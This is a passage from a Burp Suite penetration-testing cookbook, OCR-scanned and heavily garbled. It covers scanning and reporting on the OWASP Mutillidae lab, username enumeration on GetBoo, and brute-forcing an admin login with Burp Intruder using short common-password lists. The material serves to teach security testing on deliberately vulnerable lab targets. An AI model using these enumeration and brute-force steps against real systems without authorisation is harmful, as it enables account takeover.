paths can be removed with the Remove button. Once complete, click OK:
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'5 Active scanning wizard — ] X

LEJ Review the tems you have selected for scanning. Double-click tems to view full detailz. You can remove individual tems which you
- do not wish to scan, or go back to medify your general fiters.

Host 4 | Method | URL | Params | Cor
http:/192.168.556.101 GET Imutilidae’ 0 0 |i.
hitp: /192 168 56 101 GET Imutilidael?page=add-to-your-blog. php 1 0
hitp:/1192.168.55.101 GET Imutilidae’documentation/mutilidae-inztallation-gn-xam... 0 0
hitp: /192 168 56 101 GET Imutilidae/framer.html o 0
hitp:/1192.168.55.101 GET Imutilidaefincludes/pop-up-help-context-generater.php 0 0
hitp: /192168 .56.101 GET Imutilidaefincludes/pop-up-help-context-generatorph... 1 0
http:/192.168.55.101 GET Imutilidaesfindex.php 0 0
hitp:/i192.168.56.101 GET Imutilidaefindex php?do=logout 1 0
http:/192.168.55.101 GET Imutilidaefindex.php?do=toggle-bubble-hintz&page=fo... 2 0 |'
ELS 7 LS
32 items l Remowve J [ Revert J

Mote: You have selected to remove items with media responses. Some of the above items do not yet have responses and 3o may
be removed from the scan when their responses have been analyzed.

Back ?

You may be prompted regarding the out-of-scope items. If so, click Yes to include
those items. Scanner will begin.

5. Check the status of scanner by looking at the Scanner queue tab:

[Target Proxy | Spider TScanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]

Issue activity | Scanqueue | Live scanning | Issue definitions | Options

# 4| Host | URL | Status Issues. Requests | Errors | Insertion points
54 http://1192.168.56.101 Imutilidae/webservices/soap/ws-hello-world.php finished 567 9
55 hitp://192.168.56.101 Imutilidae/ 0% complete 38 4
56 hitp:/i192.168.56.101 Imutilidae/ 0% complete 38 9
57 http://192.168.56.101 Imutilidae/ 0% complete 38 9
58 hitp://192.168.56.101 ‘mutill umentation, lidae-i ion-on-xam... 0% complete 21 8
59 hitp:/i192.168.56.101 Imutilidae/framer.html finished 3 487 8
80 http://192.168.56.101 Imutillidaeri p-help- text-generator.php  10% complete 1 v 9
61 http://192.168.56.101 Imutilidae/includes/pop-up-help-contexi-generator.php 0% complete 1 45 10
62 http://192.168.56.101 Imutilidae/includes/pop-up-help-context-generator php 0% complete 1 16 10
[:%] http://192.168.56.101 Imutilidaefindex php waiting
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6. As scanner finds issues, they are displayed on the Target tab, in the Issues panel.
This panel is only available in the Professional edition since it complements the
scanner's functionality:

| (e Py, | Sstecs] Scanner. [eruder [ Ropesiar | Sequencer | Decoder | comparer | Extender | Project options | user options | Akerts

|_['stemap [ score |

Re-enable

‘ Fitter: Hiding out of scope and not found items; hiding CSS, image and general binary content, hiding 4xx responses; hiding empty folders

¥ (@ http:/192.168.56.101

[ mutiidae

["@ mutilidae

(Y]

» [ documentation
[ framer.ntmi

» e includes.

> (S index php

» % javasecript

» & level-1-hints-page-wrapper.php
[ set-up-database.php

» e webservices

Contents Issues
Host | Methos | URL |Params | & | | @D SQLinjection 2]
http://192.168.56.101 GET Imutilidae/ 2| |» O cross-sie scripting (refiected) (4]
Nttpi7/192.168.56.101 GET /mutilidaci7page=show-L vz O Cleartext submission of password
httpi//192.168.56.101 GeT Imutilidasidocumentation. .. ? Coolde without HitpOnly flag set
hitp:/192.168.56.101 GET Imutilidae/framer himi * XPath injection
hitp:/1192.168.56.101 GET Imutilidaelncludes/pop-u... O Password field with autocomplete enabled
hitp:7192.168.56.101 GET Imutilidaefincludes/pop-u.. * i Input returned in response (reflected) [17]
hitp://192.168.56.101 GET mutilidaefincludes/pop-u... v > 1 Cross-domain Referer leakage [3)
hitp:/192.168.56.101 GET Imutilidae/includes/pop-u... v » 1 HTUL does not specify charset [6]
http://192.168.56.101 GET Imutiidac/index php?pag... ¥ * 1 Frameable response (potential Cickiacking) [6]
hitp: 01 GET Imutilidaeavascriptiboo... || |7 1 Link maniuistion (reflected) [2]
N s —— " Path-relative style sheet import (3]
[ = >
Request | Response Advisory
Raw | Headers | Hex [
GET /mutillidae/ HTTP/L.1 A P
Host: 192.168.5€.101 r 0 sQL "uectlon

User-Agent: Mozilla/§.0 (Windows NT 10.0; Ving4; x64;
rviEL.0) Gecko/20100101 Firefox/E1.0

Accept:

text/html, application/shtmltxml, applicacion/xml;q=0.9,*
/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: hetp://192.168.56.101/

Connection: close

Upgrade-Insecure-Requests: 1

‘J‘
g
i
]

b
v

0 matches.

Issue: SOL injection
Severty: High

Confidence:  Certain

Host: hitp:i1192.168.56.101

Issue detail

2 instances of this issue were identified, at the following locations.

- help-context. tor.php
parameter]
1-hint; php [level i
parameter]
Issue background
SQL injection arise when data is i into

database SQL queries in an unsafe manner. An attacker can supply crafted input

Reporting issues

Reporting capabilities are only available in Burp Professional edition.
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In Burp Professional, as scanner discovers a vulnerability, it will be added to a list of issues
found on the Target tab, in the right-hand side of the UI. Issues are color-coded to indicate
the severity and confidence level. An issue with a red exclamation point means it is a high
severity and the confidence level is certain. For example, the SQL Injection issue shown
here contains both of these attributes.

Items with a lower severity or confidence level will be low, informational, and yellow, gray,
or black in color. These items require manual penetration testing to validate whether the
vulnerability is present. For example, Input returned in response is a potential
vulnerability identified by scanner and shown in the following screenshot. This could be an
attack vector for cross-site scripting (XSS) or it could be a false positive. It is up to the
penetration tester and their level of experience to validate such an issue:

Issues

) saL injection

ﬂ Crogs-site scripting (reflected)

9 Cleartext submizszion of password
Pazzword field with autocomplete enabled
Cookie without HitpOnhy flag set

* 1 Input returned in response (reflected) [7]
1 Cross-domain Referer leakage
» 1 HTML does not specify charset [3]
» 1 Frameable response (potential Clickjacking) [4]

> Path-relative style sheet import [2]

e Severity levels: The severity levels available include high, medium, low,
information, and false positive. Any findings marked as false positive will not
appear on the generated report. False positive is a severity level that must be
manually set by the penetration tester on an issue.

e Confidence levels: The confidence levels available include certain, firm, and
tentative.
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Getting ready

After the scanning process completes, we need to validate our findings, adjust severities
accordingly, and generate our report.

How to do it...

1. For this recipe, select Cookie without HttpOnly flag set under the Issues
heading:

Issues

) s0L injection
» ﬂ Crogs-site scripting (reflected) [3]

0 Cleartext submiz=ion of password

' XPath injection

Pazzword field with autocomplete enabled
Cookie without HitpOnly flag set
Input returned in response (reflected) [13]
Cross-domain Referer leakage [3]
HTML does not specify charset [§]
Frameable rezsponse (potential Clickjacking) [8]
Link manipulation (reflected) [2]
Path-relative style sheet import [2]

Pl e el s e e

¥ ¥T¥ry¥r¥yr

2. Look at the Response tab of that message to validate the finding. We can clearly
see the PHPSESSID cookie does not have the Ht tpOnly flag set. Therefore, we
can change the severity from Low to High and the confidence level from Firm to
Certain:
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[ Advizory I Reguest I Rezponse ]

_[ FtawT Headers T Hex T HTHL T Render ]

Date: Tue, I8

r

Perl/wvs_10_.1
H-Powered-Ev:

Serwver: Apache/Z.2.14

HTTPs/1.1 Z00 0K

Aug 2018 18:-45:43 GMT

FHP/5. 3. Z-1lubuntud . 30

Set-Coockie: PHPSESSID=pniramikkatSfmdmcdrciBlbeok; path=/f

(Tuntu) mod mono/2.4.3
PHP/5. 2. 2-1lubuntud. 20 with Subhosin-Patch proxy html/3.0.1
mod python/2 3.1 Python/Z. 6.5 mod_ss1/2.2.14
OpensSL/0.59.8k Phusion Passenger/4.0.30 mod perl/Z. 0.4

3. Right-click the issue and change the severity to High by selecting Set severity |

High:

Issues

) s0L injection

! XPath injection

* ﬂ Cross-site scripting (reflected) [3]
ﬂ Cleartext submission of password

Passzword field with autocomplete enabled

Cookie without HttpO
Input returned in resg
Cross-domain Referg
HTHML does not spec
Frameable response
Link manipulation (red
Path-relative style sh

y¥¥rTy¥y Yy vyrvwy
T

[ Advisory T Request T—

Cookie without HttpOnly flag set

Report issue
Set confidence >
Delete izsue
Wiew >

Show new site map window

lzzues help

[T I

) Medium

Low
1 Information
FI' Falze positive

Restore original value
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4. Right-click the issue and change the severity to Certain by selecting Set
confidence | Certain:

Issues

#) =0l injection
> ﬂ Cross-site scripting (reflected) [3]
ﬂ Cleartext submizsion of passwaord
I XPath injection
! Cookie without Http
Paz=word field with ! Cookie without HttpOnly flag set

1 Input returned in res Report issue
1 HTML does not speq

1
i Cross-domain Refe Set severity [
1 Set confidence

1

1

| Frameable responsg D Certain
1 Link manipulation (re ! Firm
Path-relative style 5 Wiew > 7 Tentative

Delete issue

¥YY Y v¥YyYwyvw

S IBD ERUED TN Restore original value

oo e e |

5. For this recipe, select the issues with the highest confidence and severity levels to
be included in the report. After selecting (highlighting + Shift key) the items
shown here, right-click and select Report selected issues:

Issues
#) =0L injection
#) Cross-site scripting (reflected) [3]
ﬂ Cleartext submizsion of password
#) Cookie without HttpOnly flag set Report zelected issues

4izssues selected

Upon clicking Report selected issues, a pop-up box appears prompting us for the
format of the report. This pop-up is the Burp Scanner reporting wizard.

6. For this recipe, allow the default setting of HTML. Click Next.

7. This screen prompts for the types of details to be included in the report. For this
recipe, allow the default settings. Click Next.
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8. This screen prompts for how messages should be displayed within the
report. For this recipe, allow the default settings. Click Next.
9. This screen prompts for which types of issues should be included in the report.
For this recipe, allow the default settings. Click Next.
10. This screen prompts for the location of where to save the report. For this recipe,
click Select file..., select a location, and provide a file name followed by the
.html extension; allow all other default settings. Click Next:

1
4

[ ? Select the file where the report will be saved.

Select file ... \Burp_reportzi\Mutilidas_burp_report.html

Specify the title and structure to use in the report.

Report title Burp Scanner Report

ls=ue organization | By type hd
Table of contents levels | 2 X

Summary table | Allissues 'J

Summary bar chart | High, medium and low issues ‘FJ

[#] Embed images within HTML (reguires modern browser)

| Back | | Next |

11. This screen reflects the completion of the report generation. Click Close
and browse to the saved location of the file.
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12. Double-click the file name to load the report into a browser:

Burp Scanner Report & BURPSUITE

PROFESSIONAL

Summary

The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low or Information. This
reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This reflects the
inherent reliability of the technique that was used to identify the issue.

Confidence

Certain Firm Tentative Total

Severity
Low 0 0 0

0
Information - 0 0 0

The chart below shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and the
bars fade as the confidence level falls.

Number of issues

lo |1 |2 E |4 |5
ey |
Severity Medium
Low
Contents

1. SQL injection

2. Cross-site scripting (reflected)
2.1. http://192.168.56.101/mutillidae/includes/pop-up-help-context-generator.php [pagename parameter]
2.2. http://192.168.56.101/mutillidae/webservices/soap/ws-hello-world.php [name of an arbitrarily supplied URL parameter]
2.3. http://192.168.56.101/mutillidae/webservices/soap/ws-hello-world.php [name of an arbitrarily supplied URL parameter]

3. Cleartext submission of password

4. Cookie without HttpOnly flag set

Congratulations! You've created your first Burp report!
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Assessing Authentication
Schemes

In this chapter, we will cover the following recipes:

e Testing for account enumeration and guessable accounts

Testing for weak lock-out mechanisms

Testing for bypassing authentication schemes

Testing for browser cache weaknesses

Testing the account provisioning process via REST API

Introduction

This chapter covers the basic penetration testing of authentication schemes. Authentication is
the act of verifying whether a person or object claim is true. Web penetration testers must
make key assessments to determine the strength of a target application's authentication
scheme. Such tests include launching attacks, to determine the presence of account
enumeration and guessable accounts, the presence of weak lock-out mechanisms, whether
the application scheme can be bypassed, whether the application contains browser-caching
weaknesses, and whether accounts can be provisioned without authentication via a REST
API call. You will learn how to use Burp to perform such tests.

Software tool requirements

To complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)
e OWASP Mutillidae link
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e GetBoo link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
e The Firefox browser configured to allow Burp to proxy traffic (https://www.

mozilla.org/en—US/firefox/new/)

Testing for account enumeration and
guessable accounts

By interacting with an authentication mechanism, a tester may find it possible to collect a
set of valid usernames. Once the valid accounts are identified, it may be possible to brute-
force passwords. This recipe explains how Burp Intruder can be used to collect a list of
valid usernames.

Getting ready

Perform username enumeration against a target application.

How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured in the
Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the GetBoo application:

OLD (VULNERABLE) VERSIONS OF REAL APPLICATIONS

&' WordPress &7 OrangeHRM
) GetBoo &GTD-PHP
“Yazd &9 WebCalendar
W Gallery2 W Tiki Wiki

& Toomla &9 AWstats
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https://www.mozilla.org/en-US/firefox/new/
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2. Click the Log In button, and at the login screen, attempt to log in with an account
username of admin and a password of aaaaa:

GETEOO

Username admin

Password e00000

Remember me []
Use the account demo/demo for preview.

New User? | Forgot password? | Activate Account

3. Note the message returned is The password is invalid. From this information,
we know admin is a valid account. Let's use Burp Intruder to find more
accounts.

4. In Burp's Proxy | HTTP history tab, find the failed login attempt message. View

the Response | Raw tab to find the same overly verbose error message, The
password is invalid:

Target I Proxy | Spider | Scanner | itruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | ser options | Alerts

intercept || HTTP history | WebSockets history | Options.

‘ Fiter: Hiding script, CSS, image and general binary content

|# 4| Host | Method | URL. | Params | Edited | Status | Length | MMEtype | Extension | Title | Comment |
}120K hitp://192.168.56.101 | I jn.eho ] 200 a1 HTML J php
<

Requestl Response I
I Raw I Headers | Hex | HTML | Render

HTTP/1.1 200 OK
Date: Thu, 30 Au

018 19:13:30 GMT

14 (Ubuntu) med_meno/2.4.3 PHP/S.3.Z-lubuntud.30 with Suhosin-Patch prozy_heml/3.0.1 med_python/3.3.1 Pychon/2.6.5 mod_ssl/2.2.14 OpenSSL/0.5.8k
£/4.0.38 mod_perl/2.0.4 Perl/vS.10.1

P/$.3.2-Lubuntud. 30

Expires: Thu, 19 Nev 1981 08:52:00 GMT

Cache-Control: me-store, ne-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Contenc-Length: 46

Connection: close

Content-Type: texc/html

<p class="error®>The password is invalid. </p>
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5. Flip back to the Request | Raw tab and right-click to send this request to

Intruder:

Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner I Intruder T Repeater I Sequencer T Decoder T Comparer TExtender T Project options T User options TAlerts ]

Intercept I HTTP history II WebSockets history I Options ]

‘ Fitter: Hiding script, CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status |
120  hittp://192.168.56.101 [ posT Jgetboollogin.php | v 200
-«

Reguest | Response

| [ Raw | Params. | Headers | Hex |

POST /getbhoo/login.php HTTP/L1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4,; =x&4; rv:&l
Accept: */*
Accept-Lancguadge:
Accept-Encoding:

en-US, en;q=0.5

gzip, deflate

Beferer: http://192.168.56.101/gethoo/login. php
Content-Type: application/x-www-form-urlencoded
H-Requested-With: XIILHttpRecquest

Content-Length: 78

PHPSESSID=gSqmmlhicdhuldu8stglgijmb4; acopendiwvids=
Connection: close

Cookie:

token=51c08%a%cc4d708119abh7827c47cé33einane=adninépass=aaaa.

Send to Spider

Do an active scan
Do a passive scan
Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder

Show response in browser

Ctri+l
Ctr+R

regroupswithpersist=nada)

6. Go to Burp's Intruder tab and leave the Intruder | Target tab settings as it is.
Continue to the Intruder | Positions tab. Notice how Burp places payload
markers around each parameter value found. However, we only need a payload
marker around the password value. Click the Clear § button to remove the

payload markers placed by Burp:
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[ Target | postions | peyioads | options |

2 Payload Positions

Attack type: | Sniper

Start attack

Configure the positions where payloads wil be inserted into the base reguest. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

POST /gethoo/login.php HTTP/L.1
Host: 197.1€8.5&.101

Accept: */*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Peferer: htep://157.18.5&.101/getboo/login. php
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XHLHetpRequest
Content-Length: 78

Cockie: PHPSESSID=§gSqmimlhScdhuldulstqlgims4s;
Connection: close

tolren=§51c089aScc4d708119ab7827c4 706338 tnane=§ adnin§ ipass=§aaaaaa§isubnitted=§LogtIng

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4; rv:El.0) Gecko/20100101 Firefox/61.0

acopendivids=§swingset,jotto,phpbbl, reduine§; acgroupswithpersist=§nada§

Auto §
Refresh

7. Then, highlight the name value of admin with your cursor and click the Add

§ button:

[Taruet I Positions. I Payloads T Options ]

3] Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

Start attack

POST /getboo/login.php HTTE/1.1
Host: 192.1€8.56.101

Accept: */*%

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://192.1E8.5&.101/getboo/login. php
Content-Type: application/x-www-form-urlencoded
K-Requested-With: XMLHtTpRequest
Content-Lengch: 78

Connection: close

token=51c08%a%c4d709118ab 782747 c633e4name

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rv:€l.0) Gecko/Z0100101 Firefox/€1l.0

Cockie: PHPSESSID=gSqnomlhScdhuldultqlqimSd; acopendivids=swingset,jotto,phpbb, reduine;

pass=aaaaaagsubmitted=LogtIn

acgroupswithpersist=nada

: l Add § |
Clear §
Auto §
Refresh

8. Continue to the Intruder | Payloads tab. Many testers use word lists to
enumerate commonly used usernames within the payload marker placeholder.
For this recipe, we will type in some common usernames, to create a custom

payload list.
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9. In the Payload Options [Simple list] section, type the string user and click the
Add button:

[ Target T Proxy T Spider T Scanner || Intruder | Repeater T Sequencer T Decoder m

2

i

[ Target I Positions [ Payloads [ Options ]

@ Payload Sets

“ou can define one or more payload sets. The number of payload sets depends on the &
customized in different ways.

Payload set: L1 |7] Payload count: 0

Payload type: [Bimple list | YJ Reguest count: 0

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

l Add J user |

| Add from list ... v
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10. Add a few more strings such as john, tom, demo, and, finally, admin to the
payload-listing box:

[;)J Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.
| Paste Ser
john
| Load ... tom
demo
i Remove admin [ 2
I Clear
I Add Enter & new item
[Add from list ... | ‘l']
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11. Go to the Intruder | Options tab and scroll down to the Grep — Match

12.
13.

section. Click the checkbox Flag result items with responses matching these
expressions. Click the Clear button to remove the items currently in the list:

[ Target I Proxy I Spider T Scanner T Intruder T Repeater T Sequencer I Decoder I

i

1 = |2 %

[ Target I Positions T Payloads T Options ]

?

Grep - Match

[] Flag result tems with responses matching these expressions:

@ These settings can be used to flag result tems containing specified expressions.

Paste error “
] exception ™
Load ... ] illegal
invalid
Remove ] fail
stack
Clear ACCESSE
directory
file v
Add ] Enter a new item
Match type: @& Simple string
(U Regex

[J Case sensitive match
(] Exclude HTTP headers

Click Yes to confirm you wish to clear the list.

Type the string The password is invalid within the textbox and click the
Add button. Your Grep — Match section should look as shown in the following
screenshot:
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Grep - Match

These settings can be used to flag result items containing specified expressions.

] Flag result tems with responses matching these expressions:

Paste The password is invalid

,__
W

Load ...
Remove >

Clear

dd

IRl

14. Click the Start attack button located at the top of the Options page. A pop-up
dialog box appears displaying the payloads defined, as well as the new column
we added under the Grep — Match section. This pop-up window is the attack
results table.

15. The attack results table shows each request with the given payload resulted in a
status code of 200 and that two of the payloads, john and tom, did not produce
the message The password is invalid within the responses. Instead, those two
payloads returned a message of The user does not exist:

) intruder attack 2 - o

Aftack Save Columns

J Results T Target T Positions T Payloads T Options 1

| Filter: Showing all tems | [i’J
Request & | Payload | Status | Error | Timeout | Length IThe password is invalid I Comment |

0 200 O O 58 €]

1 user 200 8] O 581 €]

2 john 200 U 0 s8 g

3 tom 200 O 0 se1 U

4 demo 200 @] @] 581 €]

5 admin 200 ] a 581 €]
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16. The result of this attack results table provide a username enumeration
vulnerability based upon the overly verbose error message The password is
invalid, which confirms the user account exists on the system:

Attack Save Columns

J Results T Target I Positions I Payloads T Options: I

| Filter: Showing all items |

Reguest 4 | Payload | Status | Error | Timeout | Length | The password is invalid | Comment |
0 200 ()] a 581 (4]
1 user 200 @] a 581 &
2 john 200 O [ s81 ]
3 tom 200 O O 581 O
| demo 200 LJ L] 581 €] |
5 admin 200 o g 581 (4]

Reguest | Response
_[ Raw T Headers | Hex | HTML ] Render ]

HTTP/1.1 200 OK

Date: Thu, 30 Aug 2018 Z0:50:59 GMT

Server: Apache/Z.Z.14 (Ubuntu) mod_mono/Z.4.3 PHP/S5.3.Z-lubuntud. 30 with Suhosin-Patch proxy html/3.0.1
mod_python/3.3.1 Python/Z.£.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/Z.0.4 Perl/v5.10.1
HX-Powered-By: PHP/5.3.I-lubuntud.30

Expires: Thu, 19 Now 1581 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 4&

Connection: close

Content-Type: text/html

|<1:- class="error">The password is invalid. </p> |

This means we are able to confirm that accounts already exist in the system for the users
user, demo, and admin.

Testing for weak lock-out mechanisms

Account lockout mechanisms should be present within an application to mitigate brute-
force login attacks. Typically, applications set a threshold between three to five attempts.
Many applications lock for a period of time before a re-attempt is allowed.

Penetration testers must test all aspects of login protections, including challenge questions
and response, if present.
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Getting ready

Determine whether an application contains proper lock-out mechanisms in place. If they
are not present, attempt to brute-force credentials against the login page to achieve
unauthorized access to the application. Using the OWASP Mutillidae II application,
attempt to log in five times with a valid username but an invalid password.

How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured in the
Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II
application.

2. Open the Firefox browser to the login screen of OWASP Mutillidae II. From the
top menu, click Login.

3. At the login screen, attempt to login five times with username admin and the
wrong password of aaaaaa. Notice the application does not react any differently
during the five attempts. The application does not change the error message
shown, and the admin account is not locked out. This means the login is
probably susceptible to brute-force password-guessing attacks:

( Login |

CQ Back Q Help Me!

[ Please sign-in ]

Username admin
Password sssese

Dont have an account? Please register here
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Let's continue the testing, to brute-force the login page and gain unauthorized

access to the application.

4. Go to the Proxy | HTTP history tab, and look for the failed login attempts. Right-

click one of the five requests and send it to Intruder:

[ angetl[ Proxy ] Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer T Extender I Project options T User options IAlerts ]

[ Intercept i HTTP histery | WebSockets history I Options 1

‘ Filtter: Hiding CSS, image and general binary content

EAN

# 4| Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extension
78 http://192.168.56.101 POST /mutilidae/index. php?page=login.ph v 200 50762 HTML php
79 hitp://192.168.56.101 POST /mutilidae/index.php?page=login.ph| v 200 50762 HTML php

Request | Response

Raw Pararns]Headers Hex

POST /mutillidae/index.php?page=login.php HTTP/L1.1

Host: 192.1&8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:&1.0) Gecko/Z0100101 Firefox/&1.0
Accept: text/html,application/xhtmltxul,application/xml;q=0.9,%/%;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: heep://192.168.56.101/mutillidae/index. php?page=login.php
Content-Type: application/x-www-form-urlencoded Send to Spider
Content-Length: &0
Cookie: showhints=1l; PHPSESSID=gSmImlhScdhuldub3tglginsd; acopendivids=swingsd .
Connection: close Do a passive scan

Do an active scan

Send to Repeater

username=adminépassword=aaaaaaélogin-php-submit-button=Login

Send to Sequencer

Upgrade-Insecure-Requests: 1 Send to Intruder Ctrl+l

Ctri+R

swithpersist=nada

5. Go to Burp's Intruder tab, and leave the Intruder | Target tab settings as it is.
Continue to the Intruder | Positions tab and notice how Burp places payload
markers around each parameter value found. However, we only need a payload
marker around the password's value. Click the Clear § button to remove the

payload markers placed by Burp:
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Target | Proxy | Spider | Scanner || iniruder | Repeater | seauencer | Decoder | comparer | Extender | Project options | User options | Alerts |

[ Target | Postions. | payioaas | options

@ Payload Positions
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload postions - see help for full details.

Attack type: | Sniper

Start attack

POST /mutillidae/index.php?page=Slogin. phps HITP/L 1

Host: 187 188 88 101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x4; rvi6l.0) Gecko/20100101 Firefox/6l.0
Accept: text/html,application/xhtnl+uml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-US,en;q=0.%

Accept-Encoding: gzip, deflate

© http://152.166.56.101/mutillidae/index. php?page=login. php

e: application/x-www-form-urlencoded

ngth: 60

Cookie: showhints=§1§; PHPSESSID=§gSamImlhScdhuldudicqlqinids; acopendivids=§swingset,jovto,phphbl, redninel; acgroupswithpersist=Snada§
Connection: close

Upgrade-Insecure-Requests: 1

aduing cpassword=§aaaaaal §&login-php Login§

T

Add §
Auto §
Refresh

6. Then, highlight the password value of aaaaaa and click the Add § button.

7. Continue to the Intruder | Payloads tab. Many testers use word lists to brute-
force commonly used passwords within the payload marker placeholder. For this
recipe, we will type in some common passwords to create our own unique list of

payloads.

8. In the Payload Options [Simple list] section, type the string admin123 and click

the Add button:

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

I Add J admin123 I

| Add from list ... v
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9. Add a few more strings, such as adminpass, welcomel, and, finally, admin to
the payload-listing box:

@ Payload Options [Simple list]

Paste

Load ...

admin123
adminpass
welcome1
admin

Clear

This payload type lets you configure a simple list of strings that are used as payloads.

i fefifel

A Ente

 Add from list ...

)

10. Go to the Intruder | Options tab and scroll down to the Grep - Extract section:

Grep - Extract

CJ

| Add

J Extract the following items from rezponses:

These settings can be used to extract useful information from responses into the attack results table.

11. Click the checkbox Extract the following items from responses and then click

the Add button. A pop-up box appears, displaying the response of the
unsuccessful login attempt you made with the admin/aaaaaa request.

12. In the search box at the bottom, search for the words Not Logged In. After
finding the match, you must highlight the words Not Logged In, to assign the
grep match correctly:

[115]




Assessing Authentication Schemes Chapter 4

Burp Intruder Repeater Window Help

{ B
4
|
Target | Proxy | Spider | Scanner w w Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automatically. You can
- also modify the configuration manually to ensure it works effectively.
200 ...

Iﬁ] Positions T Payloads Tom L

@ Define start and end [J Extract from regex group

@ Start after expression: |1-neader” style="margin-left: 20px;">
[ case sensitive match
[ Exclude HTTP headers O Start at offset 3288 ase sens

(2] Grep- Extract @ End at delimiter: <ispan>

(| These settings can be used to extract ug
l_J O End at fixed length:

I @ Extractthe following tems from resl\

(J Exclude HTTP headers [ Update config based on selection below

Refetch response

Edit
</cable> A
T </td>
</er> 5
<tr>
% <td bgeolor="fecccff” align="center" colspan="7">
<span class="version-header">Version:
Up 2.6.24</span>
<span id="idSecurityLevelHeading" class="version-header"
Down style="margin-left: Z0px;">Security Level: 0 (Hosed)</span>
<span id="idHintsStatusHeading" CockieTamperingAffectedArea="1"
l Clear J class="version-header" style="margin-left: ZOpx;">Hints: Enabled (1 - Script Klddle)</span>
<span id="idSystenlnformatenlledi ol flected{S5ExecutionPoint="1"
class="version-header" style="margin-lefc: :Dpx:"fspmp
Maximum capture length: | 100 </ed>
<ftr>
<trs
<td colspan="I" class="header-menu-table"> .
~ <table class="header-menu-table"> v
(2] Grep Payloads
|_Thesze sattinns can he ised o flan resul LLJ |l | Sl ul Not Logged In I Ceich

13. If you do not highlight the words properly, after you click OK, you will see
[INVALID] inside the Grep — Extract box. If this happens, remove the entry by
clicking the Remove button and try again by clicking the Add button, perform
the search, and highlight the words.

14. If you highlight the words properly, you should see the following in the Grep —
Extract box:

LlJ Grep - Extract
@ These settings can be used to extract useful information from responses into the attack results table.

7] Extract the following items from responses:

Add l From [ ReflectedXSSExecutionPoint="1" class="versi...
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15. Now, click the Start attack button at the top right-hand side of the Options page.

16. A pop-up attack results table appears, displaying the request with the payloads
you defined placed into the payload marker positions. Notice the attack table

produced shows an extra column entitled ReflectedXSSExecution. This column
is a result of the Grep — Extract Option set previously.

17.

From this attack table, viewing the additional column, a tester can easily identify
which request number successfully brute-forced the login screen. In this case,
Request 4, using credentials of the username admin and the password admin

logged us into the application:

e 0
Attack Save Columns
J Results ITarget I Positions T Payloads T Options ]
‘ Fitter: Showing all items | Lij
Request 4 | Payload | Status | Error | Timeout | Length ReflectedXSSExecution... | Comment
0 200 o J 50762 Mot Logged In
1 admin123 200 U J 50762 Mot Logged In
2 adminpass 200 @] [  so7e2 Not Logged In
3 welcome1 200 ] | 50762 Not Logged In
4 admin 302 0] ] 50905 Logged In Admin: <span ...

18.

Select Request 4 within the attack table, and view the Response | Render tab.
You should see the message Logged In Admin: admin (g0t r00t?) on the top

right-hand side:
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%
Attack Save Columns
IResunsI Target | Positions | Payloads | Options ]
Fitter: Showing all items. 2
Request 4 | Payload | Status | Error | Timeout | Length ReflectedXSSExecution... | Comment
0 200 (@] (@] 50762 Not Logged In
1 admin123 200 @] o 50762 Not Logged In
2 adminpass 200 (m] (0] 50762 Not Logged In
3 welcomel 200 J |8 50762 Not Logged In
4 admin 302 ] L 50905 Logged In Admin: <span .. |
[ Request | Response

[R.lw Headers Im Rlnder}
®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2,6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script K1ddie) | Logged In Admin: admin (got ruot?j

Finished |

19. Close the attack table by clicking the X in the top right-hand corner.

You successfully brute-forced the password of a valid account on the system, due to the
application having a weak lock-out mechanism.

Testing for bypassing authentication
schemes

Applications may contain flaws, allowing unauthorized access by means of bypassing the
authentication measures in place. Bypassing techniques include a direct page request (that
is, forced browsing), parameter modification, session ID prediction, and SQL Injection.

For the purposes of this recipe, we will use parameter modification.

Getting ready

Add and edit parameters in an unauthenticated request to match a previously captured
authenticated request. Replay the modified, unauthenticated request to gain access to the
application through bypassing the login mechanism.
